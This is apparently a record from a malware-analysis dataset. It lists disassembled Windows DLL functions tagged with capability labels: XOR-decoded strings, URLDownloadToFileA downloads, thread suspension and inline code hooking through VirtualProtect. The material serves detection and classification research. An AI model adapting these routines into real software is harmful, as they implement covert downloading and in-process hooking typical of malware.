joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10006960
Capabilities:
Check if file exists
Create directory
Download url
Encode data using xor
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24c
mov eax, dword [0x100571c4]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
push 0x104
lea eax, [ebp - 0x110]
mov edi, ecx
push 0
push eax
call fcn.1002aef0
add esp, 0xc
mov edx, 0xcf
xor ecx, ecx
nop dword [eax]
nop word [eax + eax]
mov al, byte [ecx + 0x100500c8]
xor al, dl
mov byte [ebp + ecx - 0x23c], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x22
jb 0x100069a0
push edi
lea eax, [ebp - 0x23c]
mov byte [ebp - 0x21a], 0
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.10002700
add esp, 0xc
mov edx, 0xce
xor ecx, ecx
mov al, byte [ecx + 0x100500ec]
xor al, dl
mov byte [ebp + ecx - 0x234], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x1b
jb 0x100069e0
lea eax, [ebp - 0x234]
mov byte [ebp - 0x219], 0
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
sete al
test al, al
je 0x10006a51
mov edx, 0xc3
xor ecx, ecx
nop
mov al, byte [ecx + 0x10050108]
xor al, dl
mov byte [ebp + ecx - 0x234], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x1b
jb 0x10006a20
push 0
lea eax, [ebp - 0x234]
mov byte [ebp - 0x219], 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x10006ad3
push 0x104
push eax
lea eax, [ebp - 0x218]
push eax
call fcn.1002aef0
add esp, 0xc
mov edx, 0xa6
xor ecx, ecx
nop
mov al, byte [ecx + 0x10050124]
xor al, dl
mov byte [ebp + ecx - 0x248], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x2f
jb 0x10006a80
push edi
lea eax, [ebp - 0x248]
mov byte [ebp - 0x219], 0
push eax
lea eax, [ebp - 0x218]
push eax
call fcn.10002700
add esp, 0xc
lea eax, [ebp - 0x110]
push 0
push 0
push eax
lea eax, [ebp - 0x218]
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.10027e1f
mov esp, ebp
pop ebp
ret
Function at 0x10006af0
Capabilities:
Check if file exists
Create directory
Download url
Encode data using xor
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24c
mov eax, dword [0x100571c4]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
push 0x104
lea eax, [ebp - 0x110]
mov edi, ecx
push 0
push eax
call fcn.1002aef0
add esp, 0xc
mov edx, 0xee
xor ecx, ecx
nop dword [eax]
nop word [eax + eax]
mov al, byte [ecx + 0x10050154]
xor al, dl
mov byte [ebp + ecx - 0x23c], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x22
jb 0x10006b30
push edi
lea eax, [ebp - 0x23c]
mov byte [ebp - 0x21a], 0
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.10002700
add esp, 0xc
mov edx, 0xbb
xor ecx, ecx
mov al, byte [ecx + 0x10050178]
xor al, dl
mov byte [ebp + ecx - 0x234], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x1b
jb 0x10006b70
lea eax, [ebp - 0x234]
mov byte [ebp - 0x219], 0
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
sete al
test al, al
je 0x10006be1
mov edx, 0x69
xor ecx, ecx
nop
mov al, byte [ecx + 0x10050194]
xor al, dl
mov byte [ebp + ecx - 0x234], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x1b
jb 0x10006bb0
push 0
lea eax, [ebp - 0x234]
mov byte [ebp - 0x219], 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x10006c63
push 0x104
push eax
lea eax, [ebp - 0x218]
push eax
call fcn.1002aef0
add esp, 0xc
mov edx, 0x4b
xor ecx, ecx
nop
mov al, byte [ecx + str.89_u]
xor al, dl
mov byte [ebp + ecx - 0x248], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x2f
jb 0x10006c10
push edi
lea eax, [ebp - 0x248]
mov byte [ebp - 0x219], 0
push eax
lea eax, [ebp - 0x218]
push eax
call fcn.10002700
add esp, 0xc
lea eax, [ebp - 0x110]
push 0
push 0
push eax
lea eax, [ebp - 0x218]
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.10027e1f
mov esp, ebp
pop ebp
ret
Function at 0x1000f6b0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100460c8
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x100571c4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
cmp dword [ebx + 0x38], 0
je 0x1000f7de
cmp byte [ebx + 0x3d], 0
je 0x1000f7de
mov eax, dword [ebx]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
sete al
test al, al
je 0x1000f709
xor al, al
jmp 0x1000f7e0
push 0
push 8
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], 0
mov byte [ebp - 0x28], 0
call fcn.1000f160
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x14]
cmp ecx, 0x10
lea eax, [ebp - 0x2c]
mov ecx, dword [ebx + 0x38]
lea edi, [ebp - 0x28]
cmovae edi, dword [ebp - 0x28]
lea esi, [ebp - 0x28]
cmovae esi, dword [ebp - 0x28]
push eax
mov eax, dword [ebp - 0x18]
mov edx, dword [ecx]
add eax, edi
push eax
push esi
lea eax, [ebx + 0x40]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x1000f76f
sub eax, 1
je 0x1000f773
mov ecx, dword [ebp - 0x14]
sub eax, 2
je 0x1000f7c6
xor bl, bl
jmp 0x1000f7c8
mov byte [ebx + 0x3d], 0
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x28]
mov edx, dword [ebp - 0x28]
cmp ecx, 0x10
mov esi, dword [ebp - 0x2c]
cmovae eax, edx
sub esi, eax
je 0x1000f7a8
push dword [ebx + 0x4c]
cmp ecx, 0x10
lea eax, [ebp - 0x28]
push esi
cmovae eax, edx
push 1
push eax
call fcn.1003109c
mov ecx, dword [ebp - 0x14]
add esp, 0x10
cmp esi, eax
jne 0x1000f76b
cmp byte [ebx + 0x3d], 0
je 0x1000f7c6
test esi, esi
jne 0x1000f731
push esi
push 8
lea ecx, [ebp - 0x28]
call fcn.1000f390
jmp 0x1000f72e
mov bl, 1
cmp ecx, 0x10
jb 0x1000f7da
inc ecx
push ecx
push dword [ebp - 0x28]
lea ecx, [ebp - 0x28]
call fcn.10010c70
mov al, bl
jmp 0x1000f7e0
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10027e1f
mov esp, ebp
pop ebp
ret
Function at 0x10011250
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100457f6
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x100571c4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 8
mov dword [edi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.100283a0
mov esi, eax
push 1
mov dword [ebp - 4], 0
call fcn.10023cde
mov dword [esi + 4], eax
lea ecx, [edi + 8]
lea eax, [edi + 4]
mov dword [edi + 0x34], esi
mov dword [edi + 0xc], eax
add esp, 8
lea eax, [edi + 0x14]
mov dword [edi + 0x10], ecx
mov dword [edi + 0x1c], eax
lea eax, [edi + 0x18]
mov dword [edi + 0x20], eax
lea eax, [edi + 0x24]
mov dword [edi + 0x2c], eax
lea eax, [edi + 0x28]
mov dword [edi + 0x30], eax
mov dword [ecx], 0
mov eax, dword [edi + 0x20]
mov dword [eax], 0
mov eax, dword [edi + 0x30]
mov dword [eax], 0
mov eax, dword [edi + 0xc]
mov dword [eax], 0
mov eax, dword [edi + 0x1c]
mov dword [eax], 0
mov eax, dword [edi + 0x2c]
mov dword [eax], 0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10012970
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xab
xor eax, eax
mov dl, byte [edi + eax - 0x7b84b047]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x12
jb 0x10012981
pop edi
mov byte [esi + 0x12], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10012be0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xef
xor eax, eax
mov dl, byte [edi + eax - 0x20ea7df6]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x43
jb 0x10012bf1
pop edi
mov byte [esi + 0x43], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10012eb0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x37
xor eax, eax
mov dl, byte [edi + eax - 0x2487a35d]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x2c
jb 0x10012ec1
pop edi
mov byte [esi + 0x2c], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10012ef0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xd9
xor eax, eax
mov dl, byte [edi + eax - 0x1a2e1036]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0xd
jb 0x10012f01
pop edi
mov byte [esi + 0xd], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10012f30
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 1
xor eax, eax
mov dl, byte [edi + eax + 0x3ed419b4]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0xb
jb 0x10012f41
pop edi
mov byte [esi + 0xb], 0
mov eax, esi
pop esi
pop ebp
ret 4
Function at 0x10013000
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xe8
xor eax, eax
mov dl, byte [edi + eax + 0x3566316e]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x2a
jb 0x10013011
pop edi
mov byte [esi + 0x2a], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x100130b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 9
xor eax, eax
mov dl, byte [edi + eax - 0x7bd60ae8]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x1a
jb 0x100130c1
pop edi
mov byte [esi + 0x1a], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10013160
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xf3
xor eax, eax
mov dl, byte [edi + eax - 0x2b8b1aec]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0xc
jb 0x10013171
pop edi
mov byte [esi + 0xc], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x100131a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xae
xor eax, eax
mov dl, byte [edi + eax - 0x37b821da]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0xe
jb 0x100131b1
pop edi
mov byte [esi + 0xe], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x100134e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x1b
xor eax, eax
mov dl, byte [edi + eax - 0x56714f1a]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x1b
jb 0x100134f1
pop edi
mov byte [esi + 0x1b], 0
mov eax, esi
pop esi
pop ebp
ret 4
Function at 0x10015230
Capabilities:
Create directory
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x100571c4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x1019de30]
mov ecx, dword [ebp + 0xc]
test eax, eax
js 0x10015384
cmp eax, 1
jge 0x10015384
push edi
imul edi, eax, 0x214
inc eax
push ecx
mov dword [0x1019de30], eax
push 0x100
add edi, 0x1019dc1c
lea eax, [edi + 4]
mov dword [edi], 1
push eax
call fcn.10031a08
add esp, 0xc
cmp dword [edi], 0
je 0x10015383
push ebx
push esi
mov eax, 0x10050dc8
lea ecx, [ebp - 0x1c]
push 0
sub eax, 0x77c4117b
push eax
call fcn.10015610
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 0x12]
mov edx, 0x5a
movzx ebx, word [ebp - 0xe]
xor ecx, ecx
mov dword [edi + 0x108], eax
movzx eax, word [ebp - 0x14]
mov dword [edi + 0x104], ebx
mov dword [edi + 0x10c], eax
nop word [eax + eax]
mov al, byte [ecx + 0x10050dd0]
xor al, dl
mov byte [ebp + ecx - 0x3c], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x1e
jb 0x100152e0
movzx eax, word [ebp - 0x12]
lea esi, [edi + 0x110]
push ebx
push eax
movzx eax, word [ebp - 0x14]
push eax
mov byte [ebp - 0x1e], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
lea eax, [ebp - 0x3c]
push eax
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
push 0
push 0x80
push 4
push 0
push 1
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [edi + 0x210], eax
pop esi
pop ebx
cmp eax, 0xffffffff
jne 0x1001535f
mov dword [edi], 0
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10027e1f
mov esp, ebp
pop ebp
ret 8
push 2
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x10015383
push dword [edi + 0x210]
mov dword [edi], 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10027e1f
mov esp, ebp
pop ebp
ret 8
Function at 0x100153a0
Capabilities:
Encode data using xor
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x844
mov eax, dword [0x100571c4]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push esi
push edi
test eax, eax
js 0x100155f8
cmp eax, dword [ecx + 0x218]
jge 0x100155f8
imul edi, eax, 0x214
add edi, ecx
cmp dword [edi + 4], 0
je 0x100155f8
lea eax, [ebp - 0x81c]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [ebp - 0x816]
cmp eax, dword [edi + 0x108]
jne 0x1001541f
movzx eax, word [ebp - 0x81a]
cmp eax, dword [edi + 0x10c]
jne 0x1001541f
movzx eax, word [ebp - 0x81c]
cmp eax, dword [edi + 0x110]
je 0x10015521
push dword [edi + 0x214]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, word [ebp - 0x816]
mov edx, 0xf4
mov dword [edi + 0x108], eax
xor ecx, ecx
movzx eax, word [ebp - 0x81a]
mov dword [edi + 0x10c], eax
movzx eax, word [ebp - 0x81c]
mov dword [edi + 0x110], eax
nop dword [eax]
mov al, byte [ecx + 0x10050df0]
xor al, dl
mov byte [ebp + ecx - 0x840], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x22
jb 0x10015460
movzx eax, word [ebp - 0x816]
lea esi, [edi + 0x114]
push eax
movzx eax, word [ebp - 0x81a]
push eax
movzx eax, word [ebp - 0x81c]
push eax
lea eax, [ebp - 0x840]
mov byte [ebp - 0x81e], 0
push eax
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
push 0
push 0x80
push 4
push 0
push 1
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [edi + 0x214], eax
cmp eax, 0xffffffff
jne 0x100154ec
mov dword [edi + 4], 0
pop edi
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.10027e1f
mov esp, ebp
pop ebp
ret
push 2
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x10015521
push dword [edi + 0x214]
mov dword [edi + 4], 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.10027e1f
mov esp, ebp
pop ebp
ret
push 0x400
lea eax, [ebp - 0x80c]
push 0
push eax
call fcn.1002aef0
add esp, 0xc
lea eax, [ebp + 0x14]
push eax
push 0
push dword [ebp + 0x10]
lea eax, [ebp - 0x80c]
push 0x400
push eax
call fcn.10005270
add esp, 0x14
lea eax, [ebp - 0x40c]
push 0x400
push 0
push eax
call fcn.1002aef0
add esp, 0xc
mov edx, 0xdf
xor ecx, ecx
mov al, byte [ecx + 0x10050e14]
xor al, dl
mov byte [ebp + ecx - 0x834], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x13
jb 0x10015571
lea eax, [ebp - 0x80c]
mov byte [ebp - 0x821], 0
push eax
movzx eax, word [ebp - 0x810]
push eax
movzx eax, word [ebp - 0x812]
push eax
movzx eax, word [ebp - 0x814]
push eax
lea eax, [ebp - 0x834]
push eax
lea eax, [ebp - 0x40c]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea ecx, [ebp - 0x40c]
add esp, 0x18
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100155d2
push 0
lea eax, [ebp - 0x844]
sub ecx, edx
push eax
push ecx
lea eax, [ebp - 0x40c]
push eax
push dword [edi + 0x214]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 8]
pop edi
xor ecx, ebp
pop esi
call fcn.10027e1f
mov esp, ebp
pop ebp
ret
Function at 0x10015670
Capabilities:
Allocate or change rwx memory

Disassembly:
mov eax, dword [0x101a07ac]
test eax, eax
je 0x1001568c
nop dword [eax]
cmp dword [eax + 4], 0
jne 0x100156e6
mov eax, dword [eax]
test eax, eax
jne 0x10015680
push 0x40
push 0x3000
push 0x1000
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
test ecx, ecx
je 0x100156e4
push esi
lea edx, [ecx + 0x20]
mov dword [ecx + 4], 0
mov esi, edx
mov dword [ecx + 8], 0
sub esi, ecx
nop dword [eax]
mov eax, dword [ecx + 4]
add esi, 0x20
mov dword [edx], eax
mov dword [ecx + 4], edx
add edx, 0x20
cmp esi, 0xfe0
jbe 0x100156c0
mov eax, dword [0x101a07ac]
mov dword [ecx], eax
mov dword [0x101a07ac], ecx
pop esi
mov eax, ecx
ret
Function at 0x100160f0
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x100571c4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0
push 4
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x100161d8
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0x1c
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x100161d1
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
nop word [eax + eax]
cmp dword [ebp - 0x20], 0x10
jb 0x100161b6
call ebx
cmp dword [ebp - 0x14], eax
jne 0x100161b6
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [ebp - 0x18], eax
je 0x100161b6
mov ecx, dword [esi]
test ecx, ecx
jne 0x1001617f
push 0x200
push ecx
push dword [0x1019fd40]
mov dword [esi + 4], 0x80
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [esi], eax
test eax, eax
je 0x100161d0
jmp 0x100161a8
mov eax, dword [esi + 4]
cmp dword [esi + 8], eax
jb 0x100161a8
shl eax, 3
push eax
push ecx
push 0
push dword [0x1019fd40]
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
test eax, eax
je 0x100161d0
mov ecx, dword [esi + 4]
add ecx, ecx
mov dword [esi], eax
mov dword [esi + 4], ecx
mov edx, dword [esi + 8]
mov ecx, dword [esi]
mov eax, dword [ebp - 0x18]
mov dword [ecx + edx*4], eax
inc dword [esi + 8]
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0x1c
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x10016140
pop ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.10027e1f
mov esp, ebp
pop ebp
ret

Function at 0x100161f0
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, ecx
mov dword [ebp - 4], edx
mov dword [edi], 0
mov dword [edi + 4], 0
mov dword [edi + 8], 0
call fcn.100160f0
cmp dword [edi], 0
je 0x1001625c
push esi
xor esi, esi
cmp dword [edi + 8], esi
jbe 0x1001625b
push ebx
mov eax, dword [edi]
push dword [eax + esi*4]
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov ebx, eax
test ebx, ebx
je 0x10016254
push ebx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push dword [ebp + 8]
mov edx, dword [ebp - 4]
mov ecx, ebx
call fcn.10015f80
add esp, 4
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
cmp esi, dword [edi + 8]
jb 0x10016221
pop ebx
pop esi
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x10016270
Capabilities:
Resume thread

Disassembly:
push edi
mov edi, ecx
cmp dword [edi], 0
je 0x100162bc
push esi
xor esi, esi
cmp dword [edi + 8], esi
jbe 0x100162ab
push ebx
mov eax, dword [edi]
push dword [eax + esi*4]
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov ebx, eax
test ebx, ebx
je 0x100162a4
push ebx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
cmp esi, dword [edi + 8]
jb 0x10016281
pop ebx
push dword [edi]
push 0
push dword [0x1019fd40]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop esi
pop edi
ret
Function at 0x100162c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
imul edi, ecx, 0x2c
mov ebx, 5
add edi, dword [0x101a07a0]
test byte [edi + 0x14], 1
mov esi, dword [edi]
je 0x100162e4
sub esi, ebx
mov ebx, 7
lea eax, [ebp - 4]
push eax
push 0x40
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x10016302
pop edi
pop esi
mov eax, 0xa
pop ebx
mov esp, ebp
pop ebp
ret
mov byte [esi], 0xe9
mov eax, dword [edi + 4]
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
test byte [edi + 0x14], 1
je 0x1001631d
mov eax, dword [edi]
mov word [eax], 0xf9eb
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
or byte [edi + 0x14], 6
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10016350
Capabilities:
Allocate or change rwx memory
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov ecx, dword [0x101a07a8]
push ebx
push esi
xor ebx, ebx
xor esi, esi
mov dword [ebp - 4], ebx
test ecx, ecx
je 0x100164b3
mov eax, dword [0x101a07a0]
add eax, 0x14
test byte [eax], 2
je 0x1001638a
inc esi
add eax, 0x2c
cmp esi, ecx
jb 0x10016375
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
cmp esi, 0xffffffff
je 0x100164b3
push edi
push 1
or edx, 0xffffffff
lea ecx, [ebp - 0x18]
call fcn.100161f0
mov edx, dword [0x101a07a8]
add esp, 4
cmp esi, edx
jae 0x10016466
imul ecx, esi, 0x2c
mov dword [ebp - 0xc], ecx
nop dword [eax + eax]
mov ebx, dword [0x101a07a0]
add ebx, ecx
test byte [ebx + 0x14], 2
jne 0x1001644b
test byte [ebx + 0x14], 1
mov eax, 5
mov edi, dword [ebx]
mov dword [ebp - 4], eax
je 0x100163e8
sub edi, eax
mov eax, 7
mov dword [ebp - 4], eax
lea ecx, [ebp - 8]
push ecx
push 0x40
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1001645e
mov byte [edi], 0xe9
mov eax, dword [ebx + 4]
sub eax, edi
sub eax, 5
mov dword [edi + 1], eax
test byte [ebx + 0x14], 1
je 0x10016415
mov eax, dword [ebx]
mov word [eax], 0xf9eb
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push dword [ebp - 4]
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
or byte [ebx + 0x14], 6
xor ebx, ebx
mov edx, dword [0x101a07a8]
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 4], ebx
jmp 0x1001644d
xor ebx, ebx
inc esi
add ecx, 0x2c
mov dword [ebp - 0xc], ecx
cmp esi, edx
jb 0x100163c0
jmp 0x10016466
mov ebx, 0xa
mov dword [ebp - 4], ebx
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x100164b2
xor esi, esi
cmp dword [ebp - 0x10], esi
jbe 0x100164a3
mov ebx, eax
push dword [ebx + esi*4]
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
test edi, edi
je 0x10016497
push edi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
cmp esi, dword [ebp - 0x10]
jb 0x10016476
mov ebx, dword [ebp - 4]
mov eax, dword [ebp - 0x18]
push eax
push 0
push dword [0x1019fd40]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret